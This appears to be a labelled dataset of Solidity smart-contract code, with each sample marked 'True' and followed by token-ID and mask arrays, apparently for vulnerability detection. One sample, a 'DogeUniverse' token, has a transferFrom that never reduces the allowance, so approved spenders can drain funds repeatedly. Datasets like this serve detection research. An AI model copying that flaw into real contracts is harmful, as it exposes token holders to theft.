* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
| True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
17174,
13102,
18491,
1013,
29464,
11890,
16048,
2629,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
21183,
12146,
1013,
3647,
2121,
2278,
11387,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
8860,
1013,
5414,
29521,
19848,
2100,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
19706,
1013,
12997,
21716,
14643,
10253,
22074,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
19706,
1013,
6335,
10441,
15305,
2890,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
19706,
1013,
20868,
13699,
4710,
3672,
8663,
13181,
10820,
1012,
14017,
1000,
1025,
3206,
24565,
3672,
8663,
13181,
10820,
2003,
20868,
13699,
4710,
3672,
8663,
13181,
10820,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
17788,
2575,
1025,
6335,
10441,
15305,
2890,
2797,
5414,
17345,
1025,
12997,
21716,
14643,
10253,
22074,
2797,
17781,
11795,
12184,
1025,
12997,
21716,
14643,
10253,
22074,
2797,
18496,
11795,
12184,
1025,
9570,
2953,
1006,
6335,
10441,
15305,
2890,
1035,
5414,
17345,
1010,
12997,
21716,
14643,
10253,
22074,
1035,
17781,
11795,
12184,
1010,
12997,
21716,
14643,
10253,
22074,
1035,
18496,
11795,
12184,
1007,
1063,
5414,
17345,
1027,
1035,
5414,
17345,
1025,
17781,
11795,
12184,
1027,
1035,
17781,
11795,
12184,
1025,
18496,
11795,
12184,
1027,
1035,
18496,
11795,
12184,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
22490,
3527,
2278,
20868,
13699,
4710,
3672,
8663,
13181,
10820,
1008,
1013,
3853,
24565,
1006,
21318,
3372,
17788,
2575,
17781,
11795,
12184,
3593,
1007,
6327,
2058,
15637,
1063,
1013,
1013,
2131,
5414,
2013,
17781,
2121,
3602,
21318,
3372,
17788,
2575,
5414,
3593,
1027,
17781,
11795,
12184,
1012,
5414,
3593,
3762,
22074,
3593,
1006,
17781,
11795,
12184,
3593,
1007,
1025,
5478,
1006,
5414,
3593,
999,
1027,
1014,
1010,
1000,
24565,
3672,
8663,
13181,
10820,
1024,
24565,
2071,
2025,
4315,
27235,
24413,
5414,
1000,
1007,
1025,
5414,
29521,
19848,
2100,
1012,
5414,
3334,
5244,
3638,
3408,
1027,
5414,
17345,
1012,
2131,
4135,
2319,
1006,
5414,
3593,
1007,
1012,
3408,
1025,
1013,
1013,
10632,
4054,
4606,
3037,
2013,
17781,
2121,
1998,
4604,
2000,
5414,
4563,
3647,
2121,
2278,
11387,
1012,
3647,
6494,
3619,
7512,
19699,
5358,
1006,
29464,
11890,
11387,
1006,
3408,
1012,
3477,
3085,
10841,
14343,
9407,
1007,
1010,
5796,
2290,
1012,
4604,
2121,
1010,
4769,
1006,
2023,
1007,
1010,
3408,
1012,
4054,
1012,
5587,
1006,
3408,
1012,
3037,
1007,
1007,
1025,
29464,
11890,
11387,
1006,
3408,
1012,
3477,
3085,
10841,
14343,
9407,
1007,
1012,
14300,
1006,
4769,
1006,
5414,
17345,
1007,
1010,
3408,
1012,
4054,
1012,
5587,
1006,
3408,
1012,
3037,
1007,
1007,
1025,
1013,
1013,
2655,
24565,
3853,
1999,
5414,
4563,
5414,
17345,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.2;
contract DogeUniverse {
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowance;
uint256 public totalSupply = 10 * 10**12 * 10**18;
string public name = "Doge Universe";
string public symbol = "DOGEVERSE";
uint public decimals = 18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() {
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address owner) public view returns(uint256) {
return balances[owner];
}
function transfer(address to, uint256 value) public returns(bool) {
require(balanceOf(msg.sender) >= value, 'balance too low');
balances[to] += value;
balances[msg.sender] -= value;
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns(bool) {
require(balanceOf(from) >= value, 'balance too low');
require(allowance[from][msg.sender] >= value, 'allowance too low');
balances[to] += value;
balances[from] -= value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns(bool) {
allowance[msg.sender][spender] = value;
return true;
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1016,
1025,
3206,
3899,
13765,
3490,
16070,
1063,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
2015,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1007,
2270,
21447,
1025,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1027,
2184,
1008,
2184,
1008,
1008,
2260,
1008,
2184,
1008,
1008,
2324,
1025,
5164,
2270,
2171,
1027,
1000,
3899,
2063,
5304,
1000,
1025,
5164,
2270,
6454,
1027,
1000,
3899,
22507,
3366,
1000,
1025,
21318,
3372,
2270,
26066,
2015,
1027,
2324,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
9570,
2953,
1006,
1007,
1063,
5703,
2015,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
21948,
6279,
22086,
1025,
12495,
2102,
4651,
1006,
4769,
1006,
1014,
1007,
1010,
5796,
2290,
1012,
4604,
2121,
1010,
21948,
6279,
22086,
1007,
1025,
1065,
3853,
5703,
11253,
1006,
4769,
3954,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
5703,
2015,
1031,
3954,
1033,
1025,
1065,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1063,
5478,
1006,
5703,
11253,
1006,
5796,
2290,
1012,
4604,
2121,
1007,
1028,
1027,
3643,
1010,
1005,
5703,
2205,
2659,
1005,
1007,
1025,
5703,
2015,
1031,
2000,
1033,
1009,
1027,
3643,
1025,
5703,
2015,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1011,
1027,
3643,
1025,
12495,
2102,
4651,
1006,
5796,
2290,
1012,
4604,
2121,
1010,
2000,
1010,
3643,
1007,
1025,
2709,
2995,
1025,
1065,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1063,
5478,
1006,
5703,
11253,
1006,
2013,
1007,
1028,
1027,
3643,
1010,
1005,
5703,
2205,
2659,
1005,
1007,
1025,
5478,
1006,
21447,
1031,
2013,
1033,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1028,
1027,
3643,
1010,
1005,
21447,
2205,
2659,
1005,
1007,
1025,
5703,
2015,
1031,
2000,
1033,
1009,
1027,
3643,
1025,
5703,
2015,
1031,
2013,
1033,
1011,
1027,
3643,
1025,
12495,
2102,
4651,
1006,
2013,
1010,
2000,
1010,
3643,
1007,
1025,
2709,
2995,
1025,
1065,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1063,
21447,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1031,
5247,
2121,
1033,
1027,
3643,
1025,
2709,
2995,
1025,
1065,
1065,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
|
/**
*Submitted for verification at BscScan.com on 2021-03-22
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
library Strings {
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library EnumerableSet {
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
library EnumerableMap {
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
library Counters {
using SafeMath for uint256;
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
